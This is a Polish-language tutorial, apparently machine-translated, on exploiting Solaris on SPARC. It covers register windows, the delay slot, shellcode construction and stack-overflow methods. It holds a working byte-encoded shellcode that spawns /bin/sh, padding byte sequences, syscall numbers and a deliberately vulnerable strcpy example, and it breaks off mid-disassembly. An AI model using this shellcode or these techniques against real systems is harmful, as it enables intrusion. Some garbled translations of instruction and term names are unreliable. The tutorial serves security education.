Wprowadzenie do Solaris Exploitation

System operacyjny Solaris od dawna jest podstawą wysokiej klasy serwerów WWW i baz danych. Zdecydowana większość wdrożeń Solarisa działa na architekturze SPARC, chociaż istnieje dystrybucja Solarisa od Intela. Ta część koncentruje się wyłącznie na dystrybucji SPARC Solarisa, ponieważ tak naprawdę jest to jedyna poważna wersja systemu operacyjnego. Solaris tradycyjnie nosił nazwę SunOS, chociaż ta nazwa już dawno została porzucona. Nowoczesne i powszechnie wdrażane wersje systemu operacyjnego Solaris obejmują wersje 2.6, 7, 8 i 9. Podczas gdy wiele innych systemów operacyjnych przeszło na bardziej restrykcyjny zestaw usług w domyślnej instalacji, Solaris 9 nadal ma mnóstwo usług zdalnego nasłuchiwania włączony. Tradycyjnie w usługach RPC wykryto dużą liczbę luk w zabezpieczeniach, a w domyślnej instalacji systemu Solaris 9 włączonych jest blisko 20 usług RPC. Sama ilość kodu, do którego można dotrzeć zdalnie, wydaje się wskazywać, że w RPC w systemie Solaris można znaleźć więcej luk. Historycznie rzecz biorąc, luki w zabezpieczeniach zostały znalezione w praktycznie każdej usłudze RPC w systemie Solaris (sadmind, cmsd, statd, automount via statd, snmpXdmid, dmispd, cachefsd i innych). Zdalnie możliwe do wykorzystania błędy zostały również znalezione w usługach dostępnych przez inetd, takich jak telnetd, /bin/login (przez telnetd i rshd), dtspcd, lpd i innych. Solaris jest domyślnie dostarczany z dużą liczbą plików binarnych setuid, a system operacyjny wymaga znacznej ilości dysku twardego po wyjęciu z pudełka. System operacyjny ma kilka wbudowanych funkcji bezpieczeństwa, w tym rozliczanie i audyt procesów oraz opcjonalny niewykonywalny stos. Stos niewykonywalny zapewnia pewien poziom ochrony po włączeniu i jest opłacalną funkcją, którą można włączyć z punktu widzenia administracji.

Wprowadzenie do architektury SPARC

Scalable Processor Architecture (SPARC) to najszerzej wdrażana i najlepiej obsługiwana architektura, na której działa Solaris. Został pierwotnie opracowany przez Sun Microsystems, ale od tego czasu stał się otwartym standardem. Dwie początkowe wersje architektury (v7 i v8) były 32-bitowe, podczas gdy najnowsza wersja (v9) jest 64-bitowa. Procesory SPARC v9 mogą uruchamiać aplikacje 64-bitowe, a także aplikacje 32-bitowe w starszym trybie awaryjnym. Procesory UltraSPARC firmy Sun Microsystems to SPARC v9 i mogą obsługiwać aplikacje 64-bitowe, podczas gdy praktycznie wszystkie inne procesory firmy Sun to SPARC v7 lub v8 i uruchamiają aplikacje tylko w trybie 32-bitowym. Solaris 7, 8 i 9 obsługują jądra 64-bitowe i mogą uruchamiać 64-bitowe aplikacje w trybie użytkownika; jednak większość plików binarnych trybu użytkownika dostarczanych przez firmę Sun jest 32-bitowych. Procesor SPARC ma 32 rejestry ogólnego przeznaczenia, z których można korzystać w dowolnym momencie. Niektóre mają określone cele, a inne są przydzielane według uznania kompilatora lub programisty. Te 32 rejestry można podzielić na cztery specyficzne kategorie: rejestry globalne, lokalne, wejściowe i wyjściowe. Architektura SPARC ma charakter big-endian, co oznacza, że liczby całkowite i wskaźniki są reprezentowane w pamięci z najbardziej znaczącym bajtem na początku. Zestaw instrukcji ma stałą długość, wszystkie instrukcje mają długość 4 bajtów. Wszystkie instrukcje są wyrównane do granicy 4 bajtów, a każda próba wykonania kodu pod nieprawidłowym adresem spowoduje błąd magistrali. Podobnie, wszelkie próby odczytu z lub zapisu do źle wyrównanych adresów spowodują błędy BUS i spowodują awarię programów.

Rejestry i rejestry systemu Windows

Procesory SPARC mają zmienną liczbę wszystkich rejestrów, ale są one podzielone na stałą liczbę okien rejestrów. Okno rejestrów to zbiór rejestrów używanych przez określoną funkcję. Bieżący wskaźnik okna rejestru jest zwiększany lub zmniejszany przez instrukcje składowania i odtwarzania, które są zwykle wykonywane na początku i na końcu funkcji. Instrukcja save powoduje zapisanie aktualnego okna rejestru i przydzielenie nowego zestawu rejestrów, podczas gdy instrukcja restore usuwa bieżące

okno rejestru i przywraca poprzednio zapisane. Instrukcja save służy również do rezerwowania miejsca na stosie dla zmiennych lokalnych, podczas gdy funkcja przywracania zwalnia lokalny obszar stosu. Na rejestry globalne (%g0–%g7) nie mają wpływu ani wywołania funkcji, ani instrukcje zapisywania lub odtwarzania. Pierwszy rejestr globalny %g0 ma zawsze wartość zero. Wszelkie zapisy do niego są odrzucane, a wszelkie jego kopie powodują ustawienie miejsca docelowego na zero. Pozostałe siedem rejestrów globalnych ma różne cele, jak opisano w tabeli

REJESTR : CEL

%g0 : Zawsze zero

%g1: Tymczasowe przechowywanie

%g2 : Zmienna globalna 1

%g3 : Zmienna globalna 2

%g4 : Zmienna globalna 3

%g5 : Zarezerwowane

%g6 : Zarezerwowane

%g7 : Zarezerwowane

Rejestry lokalne (%l0%l7) są lokalne dla jednej określonej funkcji, jak sugeruje ich nazwa. Są one zapisywane i przywracane w ramach okien ewidencji. Rejestry lokalne nie mają określonego celu i mogą być używane przez kompilator w dowolnym celu. Są zachowane dla każdej funkcji. Kiedy wykonywana jest instrukcja zapisu, rejestry wyjściowe (%o0–%o7) nadpisują rejestry wejściowe (%i0–%i7). Po instrukcji przywracania następuje odwrotność, a rejestry wejściowe nadpisują rejestry wyjściowe. Instrukcja save zachowuje rejestry wejściowe poprzedniej funkcji jako część okna rejestrów. Pierwsze sześć rejestrów wejściowych (%i0–%i5) to przychodzące argumenty funkcji. Są one przekazywane do funkcji jako %o0 do %o5, a po wykonaniu zapisu stają się %i0 do %i5. W przypadku, gdy funkcja wymaga więcej niż sześciu argumentów, dodatkowe argumenty są przekazywane na stos. Wartość zwracana z funkcji jest przechowywana w %i0 i jest przenoszona do %o0 podczas przywracania. Rejestr %o6 jest synonimem wskaźnika stosu %sp, podczas gdy %i6 jest wskaźnikiem ramki %fp. Instrukcja save zachowuje wskaźnik stosu z poprzedniej funkcji jako wskaźnik ramki, zgodnie z oczekiwaniami, a restore przywraca zapisany wskaźnik stosu do pierwotnego miejsca. Dwa pozostałe rejestry ogólnego przeznaczenia nie wymienione do tej pory, %o7 i %i7 służą do przechowywania adresu zwrotnego. Po instrukcji call adres zwrotny jest przechowywany w %o7. Kiedy wykonywana jest instrukcja zapisywania, wartość ta jest oczywiście przekazywana do %i7, gdzie pozostaje do momentu wykonania zwrotu i przywrócenia. Po przesłaniu wartości do rejestru wejściowego, %o7 staje się dostępny do użytku jako rejestr ogólnego przeznaczenia. Zestawienie celów rejestrów wejściowych i wyjściowych przedstawiono w tabeli 2.

REJESTR : CEL

%i0 : Pierwszy przychodzący argument funkcji, zwracana wartość

%i1 - %i5 : przychodzące argumenty funkcji od drugiego do szóstego

%i6 : Wskaźnik ramki (zapisany wskaźnik stosu)

%i7: adres zwrotny

%o0 : Pierwszy wychodzący argument funkcji, zwraca wartość z wywołanej funkcji

%o1 - %o5 : Drugi do szóstego wychodzącego argumentu funkcji

%o6 : Wskaźnik stosu

%o7 : Zawiera adres zwrotny natychmiast po wywołaniu, w przeciwnym razie ogólnego przeznaczenia

Skutki zapisywania i przywracania podsumowano również w tabelach 3 i 4 dla wygody.

INSTRUKCJA

1. Rejestry lokalne (%l0–%l7) są zapisywane jako część okna rejestru.

2. Rejestry wejściowe (%i0–%i7) są zapisywane jako część okna rejestru.

3. Rejestry wyjściowe (%o0–%o7) stają się rejestrami wejściowymi (%i0-%i7).

4. Zarezerwowana jest określona ilość miejsca na stosie.

INSTRUKCJA

1. Rejestry wejściowe stają się rejestrami wyjściowymi.

2. Oryginalne rejestry wejściowe są przywracane z okna zapisanego rejestru.

3. Oryginalne rejestry lokalne są przywracane z zapisanego okna rejestru.

4. W wyniku pierwszego kroku %sp (%o6) staje się %fp (%i6) zwalniając lokalne miejsce na stosie.

W przypadku funkcji liścia (tych, które nie wywołują żadnych innych funkcji) kompilator może utworzyć kod, który nie wykonuje zapisywania ani przywracania. Unika się narzutu związanego z tymi operacjami, ale rejestry wejściowe lub lokalne nie mogą być nadpisane, a argumenty muszą być dostępne w rejestrach wyjściowych. Każdy procesor SPARC ma ustaloną liczbę okien rejestrów. Jeśli są dostępne, służą one do przechowywania zapisanych rejestrów. Kiedy skończą się dostępne okna rejestrów, najstarsze okno rejestrów jest opróżniane na stos. Każda instrukcja zapisu rezerwuje co najmniej 64 bajty miejsca na stosie, aby w razie potrzeby umożliwić przechowywanie rejestrów lokalnych i wejściowych na stosie. Przełączanie kontekstu lub większość pułapek lub przerwań spowoduje, że wszystkie okna rejestrów zostaną opróżnione na stos.

Slot opóźniający

Podobnie jak kilka innych architektur, SPARC wykorzystuje szczelinę opóźniającą w rozgałęzieniach, połączeniach lub skokach. Istnieją dwa rejestry używane do określenia przepływu sterowania; rejestr %pc jest licznikiem programu i wskazuje na bieżącą instrukcję, podczas gdy %npc wskazuje na następną instrukcję do wykonania. Kiedy odbierana jest gałąź lub połączenie, adres docelowy jest ładowany do %npc, a nie do %pc. Powoduje to wykonanie instrukcji następującej po gałęzi/wywołaniu przed przekierowaniem przepływu na adres docelowy.

0x10004: CMP %o0, 0

0x10008: BYĆ 0x20000

0x1000C: DODAJ %o1, 1, %o1

0x10010: MOV 0x10, %o1

W tym przykładzie, jeśli %o0 zawiera wartość zero, zostanie wzięta gałąź 0x10008. Jednak przed pobraniem gałęzi wykonywana jest instrukcja pod adresem 0x1000c. Jeśli gałąź pod adresem 0x10008 nie zostanie podjęta, instrukcja pod adresem 0x1000c jest nadal wykonywana, a przepływ wykonania jest kontynuowany pod adresem 0x10010. Jeśli gałąź jest anulowana, np. adres BE, A, to instrukcja w szczelinie opóźnienia jest wykonywana tylko wtedy, gdy gałąź jest zajęta. Więcej czynników komplikuje przepływ wykonania na SPARC; jednak niekoniecznie musisz je w pełni rozumieć, aby pisać exploity.

Instrukcje syntetyczne

Wiele instrukcji na SPARC to złożenie innych instrukcji lub aliasów innych instrukcji. Ponieważ wszystkie instrukcje mają długość 4 bajtów, załadowanie dowolnej 32-bitowej wartości do dowolnego rejestru wymaga dwóch instrukcji. Co ciekawsze, zarówno call, jak i ret są instrukcjami syntetycznymi. Instrukcja call jest bardziej poprawnym adresem jmpl, %o7. Instrukcja jmpl jest połączonym skokiem, który przechowuje wartość bieżącego wskaźnika instrukcji w operandzie docelowym. W przypadku wywołania operandem docelowym jest rejestr %o7. Instrukcja ret to po prostu jmpl %i7+8, %g0, która wraca do zapisanego adresu powrotu. Wartość licznika programu jest usuwana do rejestru %g0, który zawsze wynosi zero. Funkcje liścia używają innej instrukcji syntetycznej, retl, do powrotu. Ponieważ nie wykonują zapisywania ani przywracania, adres powrotu znajduje się w %o7 iw rezultacie retl jest aliasem dla jmpl %o7+8, %g0.

Podstawy kodu powłoki Solaris/SPARC

Solaris na SPARC ma dobrze zdefiniowany interfejs wywołań systemowych, podobny do tego, który można znaleźć w innych systemach operacyjnych Unix. Podobnie jak w przypadku prawie każdej innej platformy, shellcode w Solaris/SPARC tradycyjnie wykorzystuje wywołania systemowe zamiast wywoływania funkcji bibliotecznych. Istnieje wiele przykładów shellcodu Solaris/SPARC dostępnych online, a większość z nich istnieje od lat. Jeśli szukasz czegoś powszechnie używanego lub prostego do tworzenia exploitów, większość z nich można znaleźć w Internecie; jednak, jeśli chcesz napisać własny shellcode podstawy są omówione tutaj. Wywołania systemowe są inicjowane przez określoną pułapkę systemową, pułapkę ósmą. Pułapka ósma jest poprawna dla wszystkich nowoczesnych wersji Solarisa; jednak SunOS pierwotnie używał pułapki zero dla wywołań systemowych. Numer wywołania systemowego jest określony przez rejestr globalny %g1. Pierwsze sześć argumentów wywołania systemowego jest przekazywanych w rejestrach wyjściowych %o0 do %o5, podobnie jak normalne argumenty funkcji. Większość wywołań systemowych ma mniej niż sześć argumentów, ale w przypadku nielicznych, które wymagają dodatkowych argumentów, są one przekazywane na stos.

Samodzielne określanie lokalizacji i kod powłoki SPARC

Większość szelkodów będzie potrzebować metody odnajdywania własnej lokalizacji w pamięci w celu odwoływania się do zawartych w niej ciągów. Można tego uniknąć, konstruując ciągi w locie jako część kodu, ale jest to oczywiście mniej wydajne i niezawodne. Na architekturach x86 można to łatwo osiągnąć przez skok i parę instrukcji call/pop. Instrukcje niezbędne do wykonania tego na SPARC są nieco bardziej skomplikowane ze względu na slot opóźnienia i konieczność unikania pustych bajtów w szelkodzie. Poniższa sekwencja instrukcji działa dobrze, aby załadować lokalizację szelkodu do rejestru %o7 i była używana w szelkodzie SPARC od lat:

1. \x20\xbf\xff\xff // bn, szelkod – 4

2. \x20\xbf\xff\xff// bn, kod powłoki

3. \x7f\xff\xff\xff // wywołaj kod powłoki + 4

4. reszta shellcode

Instrukcja bn,a jest unieważnioną instrukcją gałęzi nigdy. Innymi słowy, te instrukcje oddziału nigdy nie są wykonywane (nigdy oddziału). Oznacza to, że przedział opóźnienia jest zawsze pomijany. Instrukcja call jest w rzeczywistości połączonym skokiem, który przechowuje wartość bieżącego wskaźnika instrukcji w %o7. Kolejność wykonywania poprzednich kroków jest następująca: 1, 3, 4, 2, 4. Ten kod powoduje, że adres instrukcji wywołania jest przechowywany w %o7 i daje szelkodowi sposób na zlokalizowanie jego ciągów w pamięci.

Prosty kod Shellcode dla SPARC

Ostatecznym celem większości shellcodu jest wykonanie powłoki poleceń, z której można zrobić prawie wszystko inne. Ten przykład opisuje bardzo prosty shellcode, który wykonuje /bin/sh w systemie Solaris/SPARC. Wywołanie systemowe exec to numer 11 na nowoczesnych maszynach Solaris. Przyjmuje dwa argumenty, pierwszy to wskaźnik znakowy określający nazwę pliku do wykonania, a drugi to zakończona znakiem null tablica wskaźników określająca argumenty pliku. Argumenty te trafią odpowiednio do %o0 i %o1, a numer wywołania systemowego trafi do %g1. Poniższy kod powłoki pokazuje, jak to zrobić:

static char scode[]= „\x20\xbf\xff\xff” // 1: bn,a scode - 4

„\x20\xbf\xff\xff” // 2: bn, kod

„\x7f\xff\xff\xff” // 3: kod połączenia + 4

„\x90\x03\xe0\x20” // 4: dodaj %o7, 32, %o0

„\x92\x02\x20\x08” // 5: dodaj %o0, 8, %o1

„\xd0\x22\x20\x08” // 6: st %o0, [%o0 + 8]

„\xc0\x22\x60\x04” // 7: st %g0, [%o1 + 4]

„\xc0\x2a\x20\x07” // 8: stb %g0, [%o0 + 7]

„\x82\x10\x20\x0b” // 9: mov 11, %g1

„\x91\xd0\x20\x08” // 10: ta 8

„/bin/sh”; // 11: ciąg powłoki

Wyjaśnienie linijka po linijce następuje:

1. Ten znajomy kod ładuje adres shellcode do %o7.

2. Kontynuacja kodu ładowania lokalizacji.

3. I znowu.

4. Załaduj lokalizację /bin/sh do %o0; będzie to pierwszy argument wywołania systemowego.

5. Załaduj adres tablicy argumentów funkcji do %o1. Ten adres znajduje się 8 bajtów za /bin/sh i 1 bajt za końcem kodu powłoki. To będzie drugi argument wywołania systemowego.

6. Zainicjuj pierwszy element tablicy argumentów (argv[0]), aby był ciąg /bin/sh.

7. Ustaw drugi element tablicy argumentów na wartość null, kończąc tablicę (%g0 jest zawsze null).

8. Upewnij się, że ciąg /bin/sh jest poprawnie zakończony znakiem NULL, zapisując bajt NULL we właściwym miejscu.

9. Załaduj numer wywołania systemowego do %g1 (11 = SYS_exec).

10. Wykonaj wywołanie systemowe przez trap ósmy (ta = trap zawsze).

11. Ciąg powłoki.

Przydatne wywołania systemowe w systemie Solaris

Istnieje wiele innych wywołań systemowych, które są przydatne poza execv; możesz znaleźć pełną listę w /usr/include/sys/syscall.h w systemie Solaris. Poniżej znajduje się krótka lista.

POŁĄCZENIE SYSTEMOWE: NUMER

SYS_open: 5

SYS_exec: 11

SYS_dup: 41

SYS_setreiud: 202

SYS_setregid: 203

SYS_so_socket: 230

SYS_bind: 232

SYS_listen: 233

SYS_accept : 234

SYS_connect : 235

NOP i instrukcje dopełniania

Aby zwiększyć niezawodność exploita i zmniejszyć zależność od dokładnych adresów, warto dołączyć instrukcje wypełniania do ładunku exploita. W większości przypadków prawdziwa instrukcja NOP na SPARC nie jest przydatna. Zawiera trzy bajty null i nie zostanie skopiowany w większości przepełnień opartych na ciągach. Dostępnych jest wiele instrukcji, które mogą zająć jego miejsce i mieć ten sam efekt. Kilka przykładów znajduje się poniżej.

INSTRUKCJA WYPEŁNIANIA SPARC : SEKWENCJA BAJTÓW

sub %g1, %g2, %g0 : „\x80\x20\x40\x02”

andcc %l7, %l7, %g0 :L „\x80\x8d\xc0\x17”

or %g0, 0xfff, %g0 : „\x80\x18\x2f\xff”

Solaris/SPARC Stack Frame

Rama stosu w Solaris/SPARC jest podobna pod względem organizacji do większości innych platform. Stos rozrasta się, tak jak na Intel x86, i zawiera miejsce zarówno na zmienne lokalne, jak i zapisane rejestry. Minimalna ilość miejsca rezerwowego stosu dla dowolnej funkcji w 32-bitowym pliku

binarnym wynosiłaby 96 bajtów. Jest to ilość miejsca niezbędna do zapisania ośmiu rejestrów lokalnych i ośmiu rejestrów wejściowych plus 32 bajty dodatkowej przestrzeni. Ta dodatkowa przestrzeń zawiera miejsce na zwrócony wskaźnik do struktury oraz miejsce na zapisane kopie argumentów w przypadku konieczności ich zaadresowania (jeśli wskaźnik do nich musi zostać przekazany do innej funkcji). Ramka stosu dla dowolnej funkcji jest zorganizowana w taki sposób, że miejsce zarezerwowane dla zmiennych lokalnych znajduje się bliżej wierzchołka stosu niż miejsce zarezerwowane dla zapisanych rejestrów. Wyklucza to możliwość nadpisywania przez funkcję własnych zapisanych rejestrów.

Zarządzanie pamięcią w systemie Solaris

Szczyt stosu - wyższe adresy pamięci

Funkcja 1

Miejsce zarezerwowane na zmienne lokalne

Rozmiar: zmienny

Funkcja 1

Miejsce zarezerwowane dla struktury zwrotu

Kopie wskaźników i argumentów.

Rozmiar: 32 bajty

Funkcja 1

Miejsce zarezerwowane na zapisane rejestry

Rozmiar: 64 bajty

Dół stosu - dolne adresy pamięci

Stos jest zwykle zapełniany strukturami i tablicami, ale nie liczbami całkowitymi i wskaźnikami, jak ma to miejsce na platformach x86. Liczby całkowite i wskaźniki są w większości przypadków przechowywane w rejestrach ogólnego przeznaczenia, chyba że potrzebna liczba przekracza dostępne rejestry lub muszą być adresowalne.

Metodologie przepełnienia oparte na stosie

Przyjrzyjmy się niektórym z najpopularniejszych metodologii przepełnienia bufora opartych na stosie. W niektórych przypadkach będą się one nieco różnić od luk w Intel IA32, ale będą miały pewne cechy wspólne.

Przepełnienie arbitralnego rozmiaru

Przepełnienie stosu, które umożliwia nadpisanie dowolnego rozmiaru, jest stosunkowo podobne w eksploatacji w porównaniu z procesorem Intel x86. Ostatecznym celem jest nadpisanie zapisanego wskaźnika instrukcji na stosie iw rezultacie przekierowanie wykonania na dowolny adres zawierający shellcode. Jednak ze względu na organizację stosu możliwe jest tylko nadpisanie zapisanych rejestrów funkcji wywołującej. Ostatecznym efektem tego jest to, że wymaga co najmniej dwóch funkcji powraca, aby przejąć kontrolę nad egzekucją. Jeśli weźmiesz pod uwagę hipotetyczną funkcję, która zawiera przepełnienie bufora oparte na stosie, adres powrotu dla tej funkcji jest przechowywany w rejestrze %i7. Instrukcja ret na SPARC jest w rzeczywistości instrukcją syntetyczną, która robi jmpl %i7+8, %g0. Szczelina opóźnienia będzie zwykle wypełniona instrukcją przywracania. Pierwsza para

instrukcji ret/restore spowoduje przywrócenie nowej wartości z %i7 z zapisanego okna rejestru. Jeśli został przywrócony ze stosu, a nie z rejestru wewnętrznego, i został nadpisany w ramach przepełnienia, drugi ret spowoduje wykonanie kodu pod adresem wybranym przez atakującego. Tabela poniżej pokazuje, jak wygląda okno rejestrów zapisanych w Solaris/SPARC na stosie. Informacje są zorganizowane tak, jak można by je zobaczyć, gdyby zostały wydrukowane w debugerze, takim jak GDB. Rejestry wejściowe są bliżej szczytu stosu niż rejestry lokalne.

%l0 %l1 %l2 %l3

%l4 %l5 %l6 %l7

%i0 %i1 %i2 %i3

%i4 %i5 %i6 (saved %fp) %i7 (saved %pc)

Zarejestruj system Windows i komplikacje związane z przepełnieniem stosu

Każdy procesor SPARC ma ustaloną liczbę wewnętrznych okien rejestrów. Procesor SPARC v9 może mieć od 2 do 32 okien rejestrów. Gdy procesorowi skończą się dostępne okna rejestrów i spróbuje zapisać, generowana jest pułapka przepełnienia okna, która powoduje opróżnianie okien rejestrów z wewnętrznych rejestrów procesora na stos. Gdy nastąpi przełączenie kontekstu, a wątek zostanie zawieszony, jego okna rejestrów również muszą zostać opróżnione na stos. Wywołania systemowe generalnie powodują, że okna rejestrów są opróżniane na stos. W momencie wystąpienia przepełnienia, jeśli w oknie rejestru jest ,próba nadpisania nie znajduje się na stosie, ale raczej w rejestrach procesora, twoja próba wykorzystania będzie oczywiście nieudana. Po powrocie zapisane rejestry nie zostaną przywrócone z pozycji, którą nadpisałeś na stosie, ale raczej z rejestrów wewnętrznych. Może to utrudnić atak polegający na próbie nadpisania zapisanego rejestru %i7. Proces, w którym nastąpiło przepełnienie bufora, może zachowywać się zupełnie inaczej podczas debugowania. Przerwa w debugerze spowoduje opróżnienie wszystkich okien rejestrów. Jeśli debugujesz aplikację i przerywasz przed wystąpieniem przepełnienia, możesz spowodować opróżnienie okna rejestru, które w innym przypadku by się nie wydarzyło. Dość często można znaleźć exploita, który działa tylko z GDB podłączonym do procesu, po prostu dlatego, że bez debuggera okna rejestru przerwań nie są opróżniane na stos, a nadpisywanie nie daje żadnego efektu.

Inne komplikujące czynniki

Kiedy rejestry są zapisywane na stosie, rejestr %i7 jest ostatnim rejestrem w tablicy. Oznacza to, że aby go nadpisać, musisz najpierw nadpisać wszystkie inne rejestry w typowym przepełnieniu opartym na łańcuchu. W najlepszej sytuacji potrzebny będzie jeden dodatkowy zwrot, aby uzyskać kontrolę nad wykonaniem programu. Jednak wszystkie rejestry lokalne i wejściowe zostaną uszkodzone przez przepełnienie. Dość często rejestry te zawierają wskaźniki, które, jeśli nie są poprawne, spowodują naruszenie dostępu lub błąd segmentacji przed powrotem funkcji krytycznej. Może zajść konieczność indywidualnej oceny tej sytuacji i określenia odpowiednich wartości dla rejestrów innych niż adres zwrotny. Wskaźnik ramki na SPARC musi być wyrównany do granicy 8 bajtów. Jeśli zostanie wykonane nadpisanie wskaźnika ramki lub więcej niż jeden zestaw zapisanych rejestrów zostanie nadpisany w wyniku przepełnienia, konieczne jest zachowanie tego wyrównania we wskaźniku ramki. Instrukcja przywracania wykonana z niewłaściwie wyrównanym wskaźnikiem ramki spowoduje błąd BUS, powodując awarię programu.

Możliwe rozwiązania

Dostępnych jest kilka metod, za pomocą których można wykonać nadpisanie stosu zapisanego %i7, nawet jeśli pierwsze okno rejestru nie jest przechowywane na stosie. Jeśli atak można wykonać więcej niż raz, możliwe jest wielokrotne podejmowanie prób przepełnienia, czekając na zmianę kontekstu we właściwym czasie, co skutkuje wyrzuceniem rejestrów na stos we właściwym momencie. Jednak ta metoda bywa zawodna i nie wszystkie ataki są powtarzalne. Alternatywą jest nadpisanie zapisanych rejestrów dla funkcji znajdującej się bliżej wierzchołka stosu. Dla dowolnego pliku binarnego odległość od jednej ramki stosu do drugiej jest przewidywalną i możliwą do obliczenia wartością. Dlatego, jeśli okno rejestru dla pierwszej funkcji wywołującej nie zostało opróżnione na stos, być może okno rejestru dla drugiej lub trzeciej funkcji wywołującej zostało opróżnione. Jednak im wyżej w drzewie wywołań próbujesz nadpisać zapisane rejestry, tym więcej funkcji zwracanych jest potrzebnych do uzyskania kontroli i tym trudniej jest zapobiec awariom programu z powodu uszkodzenia stosu. W większości przypadków będzie możliwe nadpisanie pierwszego zapisanego okna rejestru i uzyskanie wykonania dowolnego kodu z dwoma powrotami; jednak dobrze jest mieć świadomość najgorszego scenariusza eksploatacji.

Luki związane z przepełnieniem stosu off-by-one

Luki typu off-by-one są znacznie trudniejsze do wykorzystania w architekturze SPARC iw większości przypadków nie można ich wykorzystać. Zasady wykorzystywania pojedynczych stosów są w dużej mierze oparte na uszkodzeniu wskaźnika. Dobrze zdefiniowana metodologia wykorzystywania na Intel x86 polega na nadpisaniu najmniej znaczącego bitu wskaźnika zapisanej ramki, który jest zazwyczaj pierwszym adresem na stosie następującym po zmiennych lokalnych. Jeśli wskaźnik ramki nie jest celem, najprawdopodobniej jest nim inny wskaźnik. Ogromna większość luk typu off-by-one jest wynikiem zakończenia zerowego, gdy nie ma wystarczającej ilości miejsca w buforze i zwykle skutkuje zapisaniem pojedynczego bajtu zerowego poza granicami. W SPARC wskaźniki są reprezentowane w kolejności bajtów big-endian. Zamiast nadpisywania najmniej znaczącego bajtu wskaźnika w pamięci, najbardziej znaczący bajt zostanie uszkodzony w sytuacji przesuniętej o jeden. Zamiast nieznacznie zmieniać wskaźnik, wskaźnik ulega znacznej zmianie. Na przykład standardowy wskaźnik stosu 0xFFBF1234 wskaże 0xBF1234, gdy jego najbardziej znaczący bajt zostanie nadpisany. Ten adres będzie nieważny, chyba że sterta została znacznie rozszerzona na ten adres. Tylko w wybranych przypadkach może to być wykonalne. Oprócz problemów z kolejnością bajtów, cele uszkodzenia wskaźnika w systemie Solaris/SPARC są ograniczone. Nie jest możliwe dotarcie do wskaźnika ramki, ponieważ znajduje się on głęboko w tablicy zapisanych rejestrów. Prawdopodobnie można uszkodzić tylko zmienne lokalne lub pierwszy zapisany rejestr %l0. Chociaż luki w zabezpieczeniach muszą być oceniane indywidualnie, przepełnienia stosu pojedynczo na SPARC oferują w najlepszym razie ograniczone możliwości wykorzystania.

Lokalizacje kodu powłoki

Konieczna jest dobra metoda przekierowania wykonania na użyteczny adres zawierający szelkod. Shellcode może znajdować się w kilku możliwych lokalizacjach, z których każda ma swoje zalety i wady. Niezawodność jest często najważniejszym czynnikiem przy wyborze miejsca umieszczenia szelkodu, a możliwości są najczęściej dyktowane przez program, który wykorzystujesz. W celu wykorzystania lokalnych programów setuid można w pełni kontrolować środowisko programu i argumenty. W takim przypadku możliwe jest wstrzyknięcie do środowiska szelkodu oraz dużej ilości wypełnienia. Shellcode zostanie znaleziony w bardzo przewidywalnym miejscu na stosie, dzięki czemu można osiągnąć niezwykle niezawodną eksploatację. Jeśli to możliwe, jest to często najlepszy wybór. W przypadku wykorzystywania programów demonów, zwłaszcza zdalnie, znalezienie szelkodu na stosie i wykonanie go jest nadal dobrym wyborem. Adresy stosów buforów są często dość przewidywalne i tylko nieznacznie zmieniają się z powodu zmian w argumencie środowiska lub programu. W przypadku

exploitów, w których możesz mieć tylko jedną szansę, adres stosu jest dobrym wyborem ze względu na dobrą przewidywalność i tylko niewielkie różnice. Gdy na stosie nie można znaleźć odpowiedniego bufora lub gdy stos jest oznaczony jako niewykonywalny, oczywistym drugim wyborem jest sterta. Jeśli możliwe jest wstrzyknięcie dużej ilości wypełnienia wokół kodu powłoki, skierowanie wykonania na adres sterty może być tak samo niezawodne jak bufor stosu. Jednak w większości przypadków znalezienie shellcodu na stercie może wymagać wielu prób niezawodnego działania i lepiej nadaje się do powtarzalnych ataków podejmowanych w sposób brute force. Systemy z niewykonywalnym stosem chętnie wykonają kod na stercie, dzięki czemu jest to dobry wybór w przypadku exploitów, które muszą działać przeciwko wzmocnionym systemom. Ataki typu Return to libc są generalnie zawodne w systemie Solaris/SPARC, chyba że można je powtórzyć wiele razy lub atakujący ma konkretną wiedzę na temat wersji bibliotek systemu docelowego. Solaris/SPARC ma wiele wersji bibliotek, znacznie więcej niż inne komercyjne systemy operacyjne, takie jak Windows. Nie jest rozsądne oczekiwać, że libc będzie ładowana pod konkretnym adresem bazowym, a każde główne wydanie Solarisa ma całkiem możliwe dziesiątki różnych wersji libc. Lokalne ataki, które powracają do libc, można przeprowadzić całkiem niezawodnie, ponieważ biblioteki można szczegółowo zbadać. Jeśli atakujący poświęci trochę czasu na stworzenie wyczerpującej listy adresów funkcji dla różnych wersji bibliotek, ataki z powrotem do libc mogą być wykonalne również zdalnie. W przypadku przepełnień opartych na ciągach (tych, które kopiują do bajtu zerowego), często nie jest możliwe przekierowanie wykonania do sekcji danych głównego programu wykonywalnego. Większość aplikacji ładuje się pod adresem bazowym 0x00010000, zawierającym wysoki bajt null w adresie. W niektórych przypadkach możliwe jest wstrzyknięcie shellcodu do sekcji danych bibliotek; warto się nad tym zastanowić, jeśli nie można osiągnąć niezawodnej eksploatacji przez przechowywanie shellcodu na stosie lub stercie.

Wykorzystanie przepełnienia stosu w akcji

Zasady eksploatacji opartej na stosie w systemie Solaris/SPARC wydają się bardziej sensowne, gdy zostaną zademonstrowane. Poniższy przykład pokazuje, jak wykorzystać proste przepełnienie stosu w hipotetycznej aplikacji Solaris, stosując techniki wymienione w tej części.

Wrażliwy program

Podatny program w tym przykładzie został stworzony specjalnie w celu zademonstrowania prostego przypadku wykorzystania przepełnienia stosu. Reprezentuje najmniej skomplikowany przypadek, jaki możesz znaleźć w prawdziwej aplikacji; jednak jest to zdecydowanie dobry punkt wyjścia. Zagrożony kod wygląda następująco:

```
int vulnerable_function(char *userinput) {

char buf[64];

strcpy(buf,userinput);

return 1;

}
```

W tym przypadku userinput jest pierwszym argumentem programu przekazanym z wiersza poleceń. Zauważ, że program zwróci dwa razy przed wyjściem, dając nam możliwość wykorzystania tego błędu. Po skompilowaniu kodu deasemblacja z IDA Pro wygląda następująco:

```
vulnerable_function:

var_50 = -0x50
```

arg_44 = 0x44

save %sp, -0xb0, %sp

st %i0, [%fp+arg_44]

add %fp, var_50, %o0

ld [%fp+arg_44], %o1

call _strcpy

NOP

